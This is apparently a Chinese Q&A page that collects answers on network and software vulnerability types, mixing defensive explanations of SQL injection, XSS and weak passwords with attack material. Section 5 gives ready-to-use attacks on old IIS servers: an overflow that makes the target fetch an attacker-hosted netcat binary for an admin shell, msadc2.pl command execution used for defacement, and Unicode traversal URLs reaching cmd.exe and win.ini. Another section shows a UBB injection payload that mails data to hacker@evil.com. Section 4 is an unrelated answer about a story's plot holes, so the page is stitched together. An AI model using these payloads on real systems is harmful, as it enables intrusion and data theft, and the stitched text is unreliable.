漏洞的两种类型的区别?

2024-05-15

1. 漏洞的两种类型的区别?

简单说漏洞就是缺陷,是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,分类很广泛,比如:
软件编写存在bug
系统配置失误
秘密信息泄露
明文通讯信息被监听
被内外部攻击
等,漏洞检测可以分为对已知漏洞的检测和对未知漏洞的检测,比如说未知漏洞检测可以进行:
源代码扫描
反汇编扫描
环境错误注入
等,前两者为静态法,无需运行程序,最后一种为动态法,而对已知漏洞检测主要方法是安全扫描,这又叫做脆弱性评估,采用模拟黑客攻击的方式对目标可能存在的已知安全漏洞进行逐项检测,全扫描技术主要分为两类:
基于主机的安全扫描技术
基于网络的安全扫描技术
按照扫描过程又可以分为:
Ping扫描
端口扫描
操作系统探测扫描
已知漏洞的扫描

希望这些能够帮到你

漏洞的两种类型的区别?

2. 网络漏洞的网络漏洞的类型

 网络漏洞的种类数不胜数,人们多根据其产生的原因、存在的位置和利用漏洞攻击的原理来进行分类。分类情况可见表:网络中有许多的漏洞都是由于设计人员和程序员的疏忽或失误及对网络环境的不熟悉造成的。进行网络开发时,许多设计开发者并不重视网络的安全情况,也不完全了解程序的内部工作机理,致使程序不能适应所有的网络环境,造成网络功能与安全策略发生冲突,最终导致漏洞的产生。另有一部分漏洞则是网络用户刻意为之的。网络管理员为了更好地监管和控制网络,往往预留秘密通道,以保证对网络的绝对控制。而部分网络用户或黑客也许会出于好奇而在网络中秘密种下木马、逻辑炸弹或是陷门。网络中的漏洞可以存在于硬件和软件中,但更多还是以软件漏洞的形式存在。无论是网络应用软件,还是单机应用软件,都广泛隐藏有漏洞。网络中的聊天软件如QQ,文件传输软件如FlashFXP、CuteFTP,浏览器软件如IE,单机中的办公软件如MSWord,这些应用软件中都存在着可导致泄密和招致网络攻击的漏洞。在各种操作系统中也同样存在着大量漏洞,如:Windows系统中存在RPC远程任意代码执行漏洞等,RedHat中存在可通过远程溢出获得root权限的漏洞等,各种版本的Unix系统中同样存在着大量可导致缓冲器溢出的漏洞等。在Internet中提供服务的各种服务器中,漏洞存在的情况和招致的危害更是严重。无论是Web服务器、FTP服务器、邮件服务器,还是数据库服务器和流媒体服务器都存在着可导致网络攻击的安全漏洞。脚本语言的设计缺陷和使用不规范,更是令因特网的安全状况雪上加霜。

3. 常见的网络漏洞有哪些

A.按漏洞可能对系统造成的直接威胁    

  可以大致分成以下几类,事实上一个系统漏洞对安全造成的威胁远不限于它的直接可能性,如果攻击者获得了对系统的一般用户访问权限,他就极有可能再通过利用本地漏洞把自己升级为管理员权限:     
  一.远程管理员权限    

  攻击者无须一个账号登录到本地直接获得远程系统的管理员权限,通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞的绝大部分来源于缓冲区溢出,少部分来自守护进程本身的逻辑缺陷。    

  典型漏洞:    

  1、IMAP4rev1 v10.190版的守护进程imapd的AUTHENTICATE命令存在读入参数时未做长度检查,构造一个精心设计的AUTH命令串,可以溢出imapd的缓冲区,执行指定的命令,由于imapd以root身份运行,从而直接获得机器的root权限。    

  2、WindowsNT IIS 4.0的ISAPI DLL对输入的URL未做适当的边界检查,如果构造一个超长的URL,可以溢出IIS (inetinfo.exe)的缓冲区,执行我们指定的代码。由于inetinfo.exe是以local system身份启动,溢出后可以直接得到管理员权限。 
  
  3、早期AIX 3.2 rlogind代码存在认证逻辑缺陷,用rlogin victim.com ?Cl ?Cfroot,可以直接以root身份登录到系统而无须提供口令。 

二.本地管理员权限 
  
  攻击者在已有一个本地账号能够登录到系统的情况下,通过攻击本地某些有缺陷的suid程序,竞争条件等手段,得到系统的管理员权限。     

  典型漏洞: 
  
  1、RedHat Linux的restore是个suid程序,它的执行依靠一个中RSH的环境变量,通过设置环境变量PATH,可以使RSH变量中的可执行程序以root身份运行,从而获得系统的root权限。    

  2、Solaris 7的Xsun程序有suid位,它对输入参数未做有效的边界检查,可以很容易地溢出它的缓冲区,以root身份运行我们指定的代码,从而获得管理员权限。    

  3、在windows2000下,攻击者就有机会让网络DDE(一种在不同的Windows机器上的应用程序之间动态共享数据的技术)代理在本地系统用户的安全上下文中执行其指定的代码,从而提升权限并完全控制本地机器。    

  三.普通用户访问权限    

  攻击者利用服务器的漏洞,取得系统的普通用户存取权限,对UNIX类系统通常是shell访问权限,对Windows系统通常是cmd.exe的访问权限,能够以一般用户的身份执行程序,存取文件。攻击者通常攻击以非root身份运行的守护进程,有缺陷的cgi程序等手段获得这种访问权限。 
  
  典型漏洞: 
  
  1、UBB是个广泛运行于各种UNIX和Windows系统的论坛程序,用PERL实现,它的5.19以下版本存在输入验证问题,通过提交精心构造的表单内容,可以使UBB去执行shell命令,因为一般的web服务器以nobody身份运行,因此可以得到一个nobody shell。比如提交这样的数据:topic='012345.ubb mail hacker@evil.com     

  2、RedHat Linux 6.2带的innd 2.2.2.3版新闻服务器,存在缓冲区溢出漏洞,通过一个精心构造的新闻信件可以使innd服务器以news身份运行我们指定的代码,得到一个innd权限的shell。    

  3、Windows IIS 4.0-5.0存在Unicode解码漏洞,可以使攻击者利用cmd.exe以guest组的权限在系统上运行程序。相当于取得了普通用户的权限。    

  四.权限提升 
  
  攻击者在本地通过攻击某些有缺陷的sgid程序,把自己的权限提升到某个非root用户的水平。获得管理员权限可以看做是一种特殊的权限提升,只是因为威胁的大小不同而把它独立出来。    

  典型漏洞:    

  1、RedHat Linux 6.1带的man程序为sgid man,它存在format bug,通过对它的溢出攻击,可以使攻击者得到man组的用户权限。 
  
  2、Solaris 7的write程序为sgid tty,它存在缓冲区溢出问题,通过对它的攻击可以攻击者得到tty组的用户权限。 
  
  3、WindowsNT系统中,攻击者能够使系统中其他用户装入一个”特洛化”的porfile,使其他用户执行攻击者的恶意代码,有时甚至是管理员。

常见的网络漏洞有哪些

4. 有哪些漏洞

1,谁没事注意敲门的声音次数或节奏?
2,都戴着头套,只露眼睛,他怎么知道他们在说话,而且只露眼睛,怎么抽烟??
3,先说的他们都戴着头套,后面又说他打倒??难道只有一个有打他??

5. 常见的网络漏洞有哪些

你说的漏洞比较广,是软件漏洞还是系统 系统漏洞还有server漏洞还有iis漏洞 我就和你说说iis漏洞吧。1. iis4hack缓冲溢出  
主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
                 
 c:>iishack.exe  80 /ncx.exe  
                  
然后你就使用netcat来连接你要检测的服务器:  
                  
c:>nc  80  
 如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip  
                 
 2.msadc  
     IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help  
                  [quack@chat quack]$ perl msadc2.pl -h  
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --  
                  Usage: msadc.pl -h  { -d  -X -v }  
                  -h  = host you want to scan (ip or domain)  
                  -d  = delay between calls, default 1 second  
                  -X = dump Index Server path table, if available  
                  -N = query VbBusObj for NetBIOS name  
                  -V = use VbBusObj instead of ActiveDataFactory  
                  -v = verbose  
                  -e = external dictionary file for step 5  
                  -u  = use UNC file  
                  -w = Windows 95 instead of Windows NT  
                  -c = v1 compatibility (three step query)  
                  -s  = run only step   
                  Or a -R will resume a (v2) command session  
[quack@chat quack]$ perl msadc2.pl -h http://www.targe.com/
                  -- RDS smack v2 - rain forest puppy / ADM / wiretrip --  
                  Type the command line you want to run (cmd /c assumed):  
                  cmd /c  
                  如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的:  
                  echo hacked by me > d:inetpubwwwrootvictimwebindex.htm  
                 
 3.Codebrws.asp  
                  察看文件源代码  
http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp

                
  4.Showcode.asp  
                  察看文件源代码  
http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini

               
   5.Null.htw  
                  察看文件源代码  
http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full

                 
 6.webhits.dll & .htw  
   hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:  
                 
http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息:
                 
 format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消  
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:  
 /iissamples/issamples/oop/qfullhit.htw  
/iissamples/issamples/oop/qsumrhit.htw  
 /isssamples/exair/search/qfullhit.htw  
/isssamples/exair/search/qsumrhit.htw  
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)  
一个攻击者可以使用如下的方法来访问系统中文件的内容:  
http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
   ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full  

就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代码
                  
8.ASP Dot Bug  
    在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。  
http://www.victim.com/sample.asp.
                 
 9.ISM.DLL  
     这个漏洞是由Cerberus Information Security team.最早发现的,它运行在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行多次攻击。  
                
http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr

10. .idc & .ida Bugs  
    这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。  
http://www.victim.com/anything.idc 或者 anything.idq
                  
11.+.htr Bug  
     对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:  
http://www.victim.com/global.asa+.htr
                
12.NT Site Server Adsamples  
   通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:  
                 
http://www.victim.com/adsamples/config/site.csc
                 
 13./iisadmpwd  
      IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:  
                  c:winntsystem32inetsrviisadmpwd  
                  Achg.htr  
                  Aexp.htr  
                  Aexp2.htr  
                  Aexp2b.htr  
                  Aexp3.htr  
                  Aexp4.htr  
                  Aexp4b.htr  
                  Anot.htr  
                  Anot3.htr  
                  这样,攻击者可以通过暴力来猜测你的密码。  
                  
14.Translate:f Bug  
      泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0上也有这个漏洞。利用程序: trasn1.pl,trans2.pl  
                 
 15.Unicode  
    IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。  
                
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

可能需要察看以下几个目录  
                  GET  
                  /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  
                  HTTP/1.0rnrn  
                  GET  
                  /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  
                  HTTP/1.0rnrn  
                  GET  
                  /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  
                  HTTP/1.0rnrn  
                  GET  
                  /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  
                  HTTP/1.0rnrn  
                  GET  
                  /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\  
                  HTTP/1.0rnrn  
                  eeye开发了工具包iishack1.5针对这一漏洞进行测试  
                  16.iis5.0 缓冲溢出  
                  微软Win 2K IIS  
5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS  
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip  
                
  17.IIS CGI文件名二次解码漏洞  
     IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"或".com"等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。  
                  通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../"或"./"的检查,在某些条件下,攻击者可以执行任意系统命令。  

                  例如,对于’’这个字符,正常编码后是%5c。这三个字符对应的编码为:  
                  ’%’ = %25  
                  ’5’ = %35  
                  ’c’ = %63  
                  如果要对这三个字符再做一次编码,就可以有多种形式,例如:  
                  %255c  
                  %%35c  
                  %%35%63  
                  %25%35%63  
                  ...  
    因此,".."就可以表示成"..%255c"或"..%%35c"等等形式。在经过第一次解码之后,变成"..%5c"。IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成".."。因此攻击者就可以使用".."来进行目录遍历,执行web目录之外的任意程序。 好了  先到这里。。。。漏洞太多了不过还是微软系统排第一的  一个是使用的人群广  一个是XXX    哈哈哈

常见的网络漏洞有哪些

6. 软件漏洞的最常见的软件漏洞

缓冲区溢出是一种常见的编程错误,也是一种牵扯到复杂因素的错误。开发人员经常预先分配一定量的临时内存空间,称为一个缓冲区,用以保存特殊信息。如果代码没有仔细地把要存放的数据大小同应该保存它的空间大小进行对照检查,那么靠近该分配空间的内存就有被覆盖的风险。熟练的黑客输入仔细组织过的数据就能导致程序崩溃,更糟糕的话能执行代码。幸亏近年来缓冲区溢出攻击发生的显著数量提高了编程界对这个问题的认识。虽然缓冲区溢出仍然在出现,但它们经常会被很快发现和纠正,特别在开放源代码应用中更是如此。像Java和.Net这样的比较新的编程体系都包含自动检查数据大小,防止发生缓冲区溢出的机制。缓冲区溢出是称为输入有效性漏洞的更大一类软件安全缺陷下的一个子类。几乎所有的程序都接受某种类型的用户输入(例如,命令行参数或者HTML表格)。如果代码没有严格检查输入的格式和内容是否合适,就开始处理数据,那么就会发生问题。考虑下面这个简单的例子:这段代码的意图可能是打印/var/www/html下某个HTML文件的内容,/var/www/html是Red Hat服务器上Apache的httpd服务程序默认的文档根目录。这段代码接受用户输入的一个文件名,把它作为参数传给open函数。不过,如果一个恶意的用户把../../../etc/shadow当作参数输入的话,就会显示出/etc/shadow的内容,并可能根据这些内容破译出root密码!作为一名系统管理员,您该如何防止这种情况发生呢?几乎无可奈何,至少在确定出缺陷(bug),并发布解决它的补丁之前是这样。紧盯补丁和安全性公告的发布,这是大多数系统管理员工作的一个重要部分。大多数Linux发行版本都带自动打补丁的工具,如Fedora上的yum、Debian和 Ubuntu上的apt-get。利用这些工具能让您的站点避免出现软件的安全漏洞问题。

7. 常见的网络安全漏洞有哪些

第一:注入漏洞
由于其普遍性和严重性,注入漏洞位居漏洞排名第一位。常见的注入漏洞包括SQL、LDAP、OS命令、ORM和OGML。用户可以通过任何输入点输入构建的恶意代码,如果应用程序没有严格过滤用户的输入,一旦输入的恶意代码作为命令或者查询的一部分被发送到解析器,就可能导致注入漏洞。
第二:跨站脚本漏洞
XSS漏洞的全称是跨站点脚本漏洞。XSS漏洞是网络应用程序中常见的安全漏洞,它允许用户将恶意代码植入网页,当其他用户访问此页面时,植入的恶意脚本将在其他用户的客户端执行。危害有很多,客户端用户的信息可以通过XSS漏洞获取,比如用户登录的Cookie信息;信息可以通过XSS蜗牛传播;木马可以植入客户端;可以结合其他漏洞攻击服务器,并在服务器中植入特洛伊木马。
第三、文件上传漏洞
造成文件上传漏洞的主要原因是应用程序中有上传功能,但上传的文件没有通过严格的合法性检查或者检查功能有缺陷,导致木马文件上传到服务器。文件上传漏洞危害极大,因为恶意代码可以直接上传到服务器,可能造成服务器网页修改、网站暂停、服务器远程控制、后门安装等严重后果。
第四、文件包含漏洞
文件包含漏洞中包含的文件参数没有过滤或严格定义,参数可以由用户控制,可能包含意外文件。如果文件中存在恶意代码,无论文件是什么后缀类型,文件中的恶意代码都会被解析执行,导致文件包含漏洞。
第五、命令执行漏洞
应用程序的某些函数需要调用可以执行系统命令的函数。如果这些功能或者功能的参数可以被用户控制,那么恶意的命令就有可能通过命令连接器拼接成正常的功能,从而可以随意执行系统命令。这就是命令执行漏洞,属于高风险漏洞之一。

常见的网络安全漏洞有哪些

8. 常见的漏洞类型有哪些

一、SQL 注入漏洞SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,被广泛用于非法获取网站控制权, 是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL 指令的检查,被数据库误认为是正常的SQL 指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
通常情况下, SQL 注入的位置包括:
(1)表单提交,主要是POST 请求,也包括GET 请求;
(2)URL 参数提交,主要为GET 请求参数;
(3)Cookie 参数提交;
(4)HTTP 请求头部的一些可修改的值,比如Referer 、User_Agent 等;
(5)一些边缘的输入点,比如.mp3 文件的一些文件信息等。
SQL 注入的危害不仅体现在数据库层面上, 还有可能危及承载数据库的操作系统;如果SQL 注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于:
(1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息, SQL 注入攻击能导致这些隐私信息透明于攻击者。
(2)网页篡改:通过操作数据库对特定网页进行篡改。
(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
(4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
(5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
(6)破坏硬盘数据,瘫痪全系统。
解决SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有:
(1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL 语句中。当前几乎所有的数据库系统都提供了参数化SQL 语句执行接口,使用此接口可以非常有效的防止SQL 注入攻击。
(2 )对进入数据库的特殊字符( '"\&*; 等)进行转义处理,或编码转换。
(3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int 型。
(4)数据长度应该严格规定,能在一定程度上防止比较长的SQL 注入语句无法正确执行。
(5)网站每个数据层的编码统一,建议全部使用UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
(6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
(7)避免网站显示SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
(8)在网站发布之前建议使用一些专业的SQL 注入检测工具进行检测,及时修补这些SQL 注入漏洞。
二、跨站脚本漏洞跨站脚本攻击( Cross-site scripting ,通常简称为XSS)发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS 攻击使用到的技术主要为HTML 和Javascript ,也包括VBScript和ActionScript 等。XSS 攻击对WEB 服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。
XSS 类型包括:
(1)非持久型跨站: 即反射型跨站脚本漏洞, 是目前最普遍的跨站类型。跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码不存储到服务端(比如数据库中)。上面章节所举的例子就是这类情况。
(2)持久型跨站:这是危害最直接的跨站类型,跨站代码存储于服务端(比如数据库中)。常见情况是某用户在论坛发贴,如果论坛没有过滤用户输入的Javascript 代码数据,就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript 代码。
(3)DOM 跨站(DOM XSS ):是一种发生在客户端DOM (Document Object Model 文档对象模型)中的跨站漏洞,很大原因是因为客户端脚本处理逻辑导致的安全问题。
XSS 的危害包括:
(1)钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript 以监控目标网站的表单输入,甚至发起基于DHTML 更高级的钓鱼攻击方式。
(2 )网站挂马:跨站时利用IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
(3)身份盗用: Cookie 是用户对于特定网站的身份验证标志, XSS 可以盗取到用户的Cookie ,从而利用该Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie 被窃取,将会对网站引发巨大的危害。
(4)盗取网站用户信息:当能够窃取到用户Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
(5)垃圾信息发送:比如在SNS 社区中,利用XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
(6)劫持用户Web 行为:一些高级的XSS 攻击甚至可以劫持用户的Web 行为,监视用户的浏览历史,发送与接收的数据等等。
(7)XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS 攻击等。
常用的防止XSS 技术包括:
(1)与SQL 注入防护的建议一样,假定所有输入都是可疑的,必须对所有输入中的script 、iframe 等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP 请求中的Cookie 中的变量, HTTP 请求头部中的变量等。
(2 )不仅要验证数据的类型,还要验证其格式、长度、范围和内容。
(3)不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
( 4)对输出的数据也要检查, 数据库里的值有可能会在一个大网站的多处都有输出,即使在输入做了编码等操作,在各处的输出点时也要进行安全检查。
(5)在发布应用程序之前测试所有已知的威胁。
三、弱口令漏洞弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则:
(1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令。
(2)口令长度不小于8 个字符。
(3)口令不应该为连续的某个字符(例如: AAAAAAAA )或重复某些字符的组合(例如: tzf.tzf. )。
(4)口令应该为以下四类字符的组合,大写字母(A-Z) 、小写字母(a-z) 、数字(0-9) 和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符。
(5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息,以及字典中的单词。
(6)口令不应该为用数字或符号代替某些字母的单词。
(7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入。
(8)至少90 天内更换一次口令,防止未被发现的入侵者继续使用该口令。
四、HTTP 报头追踪漏洞HTTP/1.1 (RFC2616 )规范定义了HTTP TRACE 方法,主要是用于客户端通过向Web 服务器提交TRACE 请求来进行测试或获得诊断信息。当Web 服务器启用TRACE 时,提交的请求头会在服务器响应的内容(Body )中完整的返回,其中HTTP 头很可能包括Session Token 、Cookies 或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE 请求可以通过客户浏览器脚本发起(如XMLHttpRequest ),并可以通过DOM 接口来访问,因此很容易被攻击者利用。防御HTTP 报头追踪漏洞的方法通常禁用HTTP TRACE 方法。
五、Struts2 远程命令执行漏洞Apache Struts 是一款建立Java web 应用程序的开放源代码架构。Apache Struts 存在一个输入过滤错误,如果遇到转换错误可被利用注入和执行任意Java 代码。网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork 作为网站应用框架,由于该软件存在远程代码执高危漏洞,导致网站面临安全风险。CNVD 处置过诸多此类漏洞,例如:“ GPS 车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934) ;Aspcms 留言本远程代码执行漏洞( CNVD-2012-11590 )等。
修复此类漏洞,只需到Apache 官网升级Apache Struts 到最新版本
六、框架钓鱼漏洞(框架注入漏洞)框架注入攻击是针对Internet Explorer 5 、Internet Explorer 6 、与Internet Explorer 7 攻击的一种。这种攻击导致Internet Explorer 不检查结果框架的目的网站,因而允许任意代码像Javascript 或者VBScript 跨框架存取。这种攻击也发生在代码透过多框架注入,肇因于脚本并不确认来自多框架的输入。这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。如果应用程序不要求不同的框架互相通信,就可以通过完全删除框架名称、使用匿名框架防止框架注入。但是,因为应用程序通常都要求框架之间相互通信,因此这种方法并不可行。因此,通常使用命名框架,但在每个会话中使用不同的框架,并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后附加用户的会话令牌,如main_display 。
七、文件上传漏洞文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过Web 访问的目录上传任意文件,包括网站后门文件( webshell ),进而远程控制网站服务器。因此,在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关目录的执行权限,防范webshell 攻击。
八、应用程序测试脚本泄露由于测试脚本对提交的参数数据缺少充分过滤,远程攻击者可以利用洞以WEB 进程权限在系统上查看任意文件内容。防御此类漏洞通常需严格过滤提交的数据,有效检测攻击。
九、私有IP 地址泄露漏洞IP 地址是网络用户的重要标示,是攻击者进行攻击前需要了解的。获取的方法较多,攻击者也会因不同的网络情况采取不同的方法,如:在局域网内使用Ping 指令, Ping 对方在网络中的名称而获得IP;在Internet 上使用IP 版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息,再根据这些信息了解具体的IP。针对最有效的“数据包分析方法”而言,就可以安装能够自动去掉发送数据包包头IP 信息的一些软件。不过使用这些软件有些缺点, 譬如:耗费资源严重,降低计算机性能;访问一些论坛或者网站时会受影响;不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP 的方法应该是使用代理,由于使用代理服务器后,“转址服务”会对发送出去的数据包有所修改,致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ,特别是QQ 使用“ ezProxy ”等代理软件连接后, IP 版的QQ 都无法显示该IP 地址。虽然代理可以有效地隐藏用户IP,但攻击者亦可以绕过代理, 查找到对方的真实IP 地址,用户在何种情况下使用何种方法隐藏IP,也要因情况而论。
十、未加密登录请求由于Web 配置不安全, 登陆请求把诸如用户名和密码等敏感字段未加密进行传输, 攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH 等的加密后再传输。
十一、敏感信息泄露漏洞SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露,攻击者可以通过漏洞获得敏感信息。针对不同成因,防御方式不同。